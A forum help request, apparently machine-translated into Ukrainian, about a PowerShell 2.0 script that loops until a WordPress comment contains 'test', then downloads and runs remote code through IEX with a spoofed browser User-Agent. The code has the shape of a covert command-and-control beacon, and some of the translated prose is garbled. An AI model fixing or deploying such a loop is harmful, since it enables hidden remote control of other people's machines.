Я абсолютно новачок, тому будь ласка, будьте поблажливі;)
Я намагаюся написати сценарій, коли машина перевіряє зовнішній веб-сайт, очікуючи слова: "тест", щоб виконати завантаження. Все відбувається так:
$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")
While($True) {
$CommentResult = $WebClientObject.DownloadString($comment)
$Found = $CommentResult.contains($Word)
If ($Found) {
IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
#Task_to_do and some blabla commands
Return
}
Start-Sleep -Seconds 60
}
Я запускаю powerhell 2.0. Windows7
Що трапилось:
- завантаження не виконується через Інтернет
- це не проблема, що надходить із IP-адрес чи шляхів
Що я зробив далі:
- Я безпосередньо записую різні команди у вікні powerhell:
-> Хоча ($ True) ініціює нескінченний цикл, не виходячи з нього.
Щоб зробити трюк, мені потрібно "повернути подвійне клацання на моїй клавіатурі", закінчення циклу і команда "downloadstring" остаточно виконується.
Ще пам’ятайте, що я більше, ніж новачок, правда? :(
- Я намагався "зламати" "повернути" або "вийти", але неможливо вийти з циклу.
- Я намагався також без жодного успіху вписати у свій сценарій багато подвійних вагонів.
Хтось, будь ласка, вкаже мені спосіб зробити цю просту річ ...? :)
Дуже дякую.
ОНОВЛЕННЯ Ці маленькі рядки повинні використовуватися різними людьми в різних місцях (це одна з причин депортованого веб-сайту), і я просто не маю можливості оновити віддалені машини до нової версії powerhell. Якщо у когось є контакт з гуру повноважень Майкрософт, це буде просто величезною допомогою. Дякую всім хлопці